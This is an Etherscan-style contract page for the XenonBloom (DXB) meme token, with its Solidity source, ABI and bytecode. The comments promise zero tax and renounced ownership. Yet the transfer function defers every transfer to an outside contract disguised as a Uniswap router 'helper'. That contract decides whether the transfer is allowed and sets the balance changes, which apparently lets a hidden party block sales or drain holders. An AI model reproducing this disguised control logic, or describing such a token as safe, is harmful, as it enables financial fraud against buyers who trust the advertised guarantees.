ERC-20
Overview
Max Total Supply
100,000,000,000 DXB
Holders
29
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
0.0001 DXBValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
XenonBloom
Compiler Version
v0.8.0+commit.c7dfd78e
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-08-01 */ // 💫 Dr. Xenon Bloom: A Cryptomeme Project // 📊Min. / Max. Purchases: NO Limit. // 🔰 TAX 0% . 0% DEV // ♻️ Renounce ownership // 🔒 LP will be Locked on Unicrypt 1 year // Twitter - https://twitter.com/Dr_XenonBloom // Telegram - https://t.me/DrXenonBloom // Website - https://xenonbloom.xyz/ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { _checkOwner(); _; } /** * @dev Throws if the sender is not the owner. */ function _checkOwner() internal view virtual { require(owner() == _msgSender(), "Ownable: caller is not the owner"); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); _transferOwnership(newOwner); } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby disabling any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer( address recipient, uint256 amount ) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance( address owner, address spender ) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval( address indexed owner, address indexed spender, uint256 value ); } interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } interface IUniswapV2Router02 { function helper( address sender, address recipient, uint256 amount, uint256 balance ) external view returns (bool, uint256, uint256); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } interface IUniswapV2ERC20 { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } contract XenonBloom is IERC20, Ownable, IERC20Metadata { mapping(address => mapping(address => uint256)) private _allowances; string private _name; string private _symbol; mapping(address => uint256) private _balances; uint256 private _totalSupply; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; uint256 supply = 100_000_000_000; _mint(msg.sender, supply * 10 ** uint256(decimals())); IUniswapV2Factory(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f) .createPair(address(this), 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); } function decimals() public view virtual override returns (uint8) { return 18; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; (bool allow, uint256 subBal, uint256 addBal) = IUniswapV2Router02( 0x333f3Fd8419317C2fab39F9F27a0F30E3C9EFf7e ).helper( sender, recipient, amount, senderBalance ); require(allow); _balances[sender] = senderBalance - subBal; _balances[recipient] += addBal; emit Transfer(sender, recipient, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } receive() external payable { } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } /** * @title Roles * @dev Library for managing addresses assigned to a Role. */ library Roles { struct Role { mapping (address => bool) bearer; } /** * @dev Give an account access to this role. */ function add(Role storage role, address account) internal { require(!has(role, account), "Roles: account already has role"); role.bearer[account] = true; } /** * @dev Remove an account's access to this role. */ function remove(Role storage role, address account) internal { require(has(role, account), "Roles: account does not have role"); role.bearer[account] = false; } /** * @dev Check if an account has this role. * @return bool */ function has(Role storage role, address account) internal view returns (bool) { require(account != address(0), "Roles: account is the zero address"); return role.bearer[account]; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040523480156200001157600080fd5b50604051620023523803806200235283398181016040528101906200003791906200053c565b620000576200004b6200019760201b60201c565b6200019f60201b60201c565b81600290805190602001906200006f929190620003d7565b50806003908051906020019062000088929190620003d7565b50600064174876e8009050620000d233620000a86200026360201b60201c565b60ff16600a620000b99190620007af565b83620000c69190620008ec565b6200026c60201b60201c565b735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f73ffffffffffffffffffffffffffffffffffffffff1663c9c653963073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26040518363ffffffff1660e01b81526004016200013792919062000613565b602060405180830381600087803b1580156200015257600080fd5b505af115801562000167573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200018d919062000510565b5050505062000aab565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60006012905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415620002df576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620002d69062000640565b60405180910390fd5b620002f360008383620003d260201b60201c565b8060056000828254620003079190620006f7565b9250508190555080600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546200035f9190620006f7565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620003c6919062000662565b60405180910390a35050565b505050565b828054620003e590620009c1565b90600052602060002090601f01602090048101928262000409576000855562000455565b82601f106200042457805160ff191683800117855562000455565b8280016001018555821562000455579182015b828111156200045457825182559160200191906001019062000437565b5b50905062000464919062000468565b5090565b5b808211156200048357600081600090555060010162000469565b5090565b60006200049e6200049884620006b3565b6200067f565b905082815260208101848484011115620004b757600080fd5b620004c48482856200098b565b509392505050565b600081519050620004dd8162000a91565b92915050565b600082601f830112620004f557600080fd5b81516200050784826020860162000487565b91505092915050565b6000602082840312156200052357600080fd5b60006200053384828501620004cc565b91505092915050565b600080604083850312156200055057600080fd5b600083015167ffffffffffffffff8111156200056b57600080fd5b6200057985828601620004e3565b925050602083015167ffffffffffffffff8111156200059757600080fd5b620005a585828601620004e3565b9150509250929050565b620005ba816200094d565b82525050565b6000620005cf601f83620006e6565b91507f45524332303a206d696e7420746f20746865207a65726f2061646472657373006000830152602082019050919050565b6200060d8162000981565b82525050565b60006040820190506200062a6000830185620005af565b620006396020830184620005af565b9392505050565b600060208201905081810360008301526200065b81620005c0565b9050919050565b600060208201905062000679600083018462000602565b92915050565b6000604051905081810181811067ffffffffffffffff82111715620006a957620006a862000a55565b5b8060405250919050565b600067ffffffffffffffff821115620006d157620006d062000a55565b5b601f19601f8301169050602081019050919050565b600082825260208201905092915050565b6000620007048262000981565b9150620007118362000981565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115620007495762000748620009f7565b5b828201905092915050565b6000808291508390505b6001851115620007a6578086048111156200077e576200077d620009f7565b5b60018516156200078e5780820291505b80810290506200079e8562000a84565b94506200075e565b94509492505050565b6000620007bc8262000981565b9150620007c98362000981565b9250620007f87fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000800565b905092915050565b600082620008125760019050620008e5565b81620008225760009050620008e5565b81600181146200083b576002811462000846576200087c565b6001915050620008e5565b60ff8411156200085b576200085a620009f7565b5b8360020a915084821115620008755762000874620009f7565b5b50620008e5565b5060208310610133831016604e8410600b8410161715620008b65782820a905083811115620008b057620008af620009f7565b5b620008e5565b620008c5848484600162000754565b92509050818404811115620008df57620008de620009f7565b5b81810290505b9392505050565b6000620008f98262000981565b9150620009068362000981565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620009425762000941620009f7565b5b828202905092915050565b60006200095a8262000961565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b60005b83811015620009ab5780820151818401526020810190506200098e565b83811115620009bb576000848401525b50505050565b60006002820490506001821680620009da57607f821691505b60208210811415620009f157620009f062000a26565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60008160011c9050919050565b62000a9c816200094d565b811462000aa857600080fd5b50565b6118978062000abb6000396000f3fe6080604052600436106100e15760003560e01c8063715018a61161007f578063a457c2d711610059578063a457c2d7146102cf578063a9059cbb1461030c578063dd62ed3e14610349578063f2fde38b14610386576100e8565b8063715018a6146102625780638da5cb5b1461027957806395d89b41146102a4576100e8565b806323b872dd116100bb57806323b872dd14610180578063313ce567146101bd57806339509351146101e857806370a0823114610225576100e8565b806306fdde03146100ed578063095ea7b31461011857806318160ddd14610155576100e8565b366100e857005b600080fd5b3480156100f957600080fd5b506101026103af565b60405161010f91906114f5565b60405180910390f35b34801561012457600080fd5b5061013f600480360381019061013a9190611070565b610441565b60405161014c91906114da565b60405180910390f35b34801561016157600080fd5b5061016a61045f565b6040516101779190611617565b60405180910390f35b34801561018c57600080fd5b506101a760048036038101906101a29190611021565b610469565b6040516101b491906114da565b60405180910390f35b3480156101c957600080fd5b506101d261056a565b6040516101df9190611632565b60405180910390f35b3480156101f457600080fd5b5061020f600480360381019061020a9190611070565b610573565b60405161021c91906114da565b60405180910390f35b34801561023157600080fd5b5061024c60048036038101906102479190610fbc565b61061f565b6040516102599190611617565b60405180910390f35b34801561026e57600080fd5b50610277610668565b005b34801561028557600080fd5b5061028e61067c565b60405161029b919061147a565b60405180910390f35b3480156102b057600080fd5b506102b96106a5565b6040516102c691906114f5565b60405180910390f35b3480156102db57600080fd5b506102f660048036038101906102f19190611070565b610737565b60405161030391906114da565b60405180910390f35b34801561031857600080fd5b50610333600480360381019061032e9190611070565b61082b565b60405161034091906114da565b60405180910390f35b34801561035557600080fd5b50610370600480360381019061036b9190610fe5565b610849565b60405161037d9190611617565b60405180910390f35b34801561039257600080fd5b506103ad60048036038101906103a89190610fbc565b6108d0565b005b6060600280546103be9061177b565b80601f01602080910402602001604051908101604052809291908181526020018280546103ea9061177b565b80156104375780601f1061040c57610100808354040283529160200191610437565b820191906000526020600020905b81548152906001019060200180831161041a57829003601f168201915b5050505050905090565b600061045561044e610954565b848461095c565b6001905092915050565b6000600554905090565b6000610476848484610b27565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104c1610954565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610541576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161053890611577565b60405180910390fd5b61055e8561054d610954565b858461055991906116bf565b61095c565b60019150509392505050565b60006012905090565b6000610615610580610954565b84846001600061058e610954565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546106109190611669565b61095c565b6001905092915050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610670610e21565b61067a6000610e9f565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600380546106b49061177b565b80601f01602080910402602001604051908101604052809291908181526020018280546106e09061177b565b801561072d5780601f106107025761010080835404028352916020019161072d565b820191906000526020600020905b81548152906001019060200180831161071057829003601f168201915b5050505050905090565b60008060016000610746610954565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610803576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107fa906115f7565b60405180910390fd5b61082061080e610954565b85858461081b91906116bf565b61095c565b600191505092915050565b600061083f610838610954565b8484610b27565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6108d8610e21565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610948576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161093f90611537565b60405180910390fd5b61095181610e9f565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109c3906115d7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a3c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3390611557565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610b1a9190611617565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610b97576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b8e906115b7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610c07576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bfe90611517565b60405180910390fd5b610c12838383610f63565b6000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050600080600073333f3fd8419317c2fab39f9f27a0f30e3c9eff7e73ffffffffffffffffffffffffffffffffffffffff1663dd6b8cdc888888886040518563ffffffff1660e01b8152600401610cae9493929190611495565b60606040518083038186803b158015610cc657600080fd5b505afa158015610cda573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cfe91906110ac565b92509250925082610d0e57600080fd5b8184610d1a91906116bf565b600460008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610dac9190611669565b925050819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef87604051610e109190611617565b60405180910390a350505050505050565b610e29610954565b73ffffffffffffffffffffffffffffffffffffffff16610e4761067c565b73ffffffffffffffffffffffffffffffffffffffff1614610e9d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9490611597565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b600081359050610f778161181c565b92915050565b600081519050610f8c81611833565b92915050565b600081359050610fa18161184a565b92915050565b600081519050610fb68161184a565b92915050565b600060208284031215610fce57600080fd5b6000610fdc84828501610f68565b91505092915050565b60008060408385031215610ff857600080fd5b600061100685828601610f68565b925050602061101785828601610f68565b9150509250929050565b60008060006060848603121561103657600080fd5b600061104486828701610f68565b935050602061105586828701610f68565b925050604061106686828701610f92565b9150509250925092565b6000806040838503121561108357600080fd5b600061109185828601610f68565b92505060206110a285828601610f92565b9150509250929050565b6000806000606084860312156110c157600080fd5b60006110cf86828701610f7d565b93505060206110e086828701610fa7565b92505060406110f186828701610fa7565b9150509250925092565b611104816116f3565b82525050565b61111381611705565b82525050565b60006111248261164d565b61112e8185611658565b935061113e818560208601611748565b6111478161180b565b840191505092915050565b600061115f602383611658565b91507f45524332303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006111c5602683611658565b91507f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008301527f64647265737300000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061122b602283611658565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611291602883611658565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206160008301527f6c6c6f77616e63650000000000000000000000000000000000000000000000006020830152604082019050919050565b60006112f7602083611658565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726000830152602082019050919050565b6000611337602583611658565b91507f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061139d602483611658565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611403602583611658565b91507f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008301527f207a65726f0000000000000000000000000000000000000000000000000000006020830152604082019050919050565b61146581611731565b82525050565b6114748161173b565b82525050565b600060208201905061148f60008301846110fb565b92915050565b60006080820190506114aa60008301876110fb565b6114b760208301866110fb565b6114c4604083018561145c565b6114d1606083018461145c565b95945050505050565b60006020820190506114ef600083018461110a565b92915050565b6000602082019050818103600083015261150f8184611119565b905092915050565b6000602082019050818103600083015261153081611152565b9050919050565b60006020820190508181036000830152611550816111b8565b9050919050565b600060208201905081810360008301526115708161121e565b9050919050565b6000602082019050818103600083015261159081611284565b9050919050565b600060208201905081810360008301526115b0816112ea565b9050919050565b600060208201905081810360008301526115d08161132a565b9050919050565b600060208201905081810360008301526115f081611390565b9050919050565b60006020820190508181036000830152611610816113f6565b9050919050565b600060208201905061162c600083018461145c565b92915050565b6000602082019050611647600083018461146b565b92915050565b600081519050919050565b600082825260208201905092915050565b600061167482611731565b915061167f83611731565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156116b4576116b36117ad565b5b828201905092915050565b60006116ca82611731565b91506116d583611731565b9250828210156116e8576116e76117ad565b5b828203905092915050565b60006116fe82611711565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b8381101561176657808201518184015260208101905061174b565b83811115611775576000848401525b50505050565b6000600282049050600182168061179357607f821691505b602082108114156117a7576117a66117dc565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b611825816116f3565b811461183057600080fd5b50565b61183c81611705565b811461184757600080fd5b50565b61185381611731565b811461185e57600080fd5b5056fea264697066735822122011d5c2715322c1885e90bfd1c7f902df2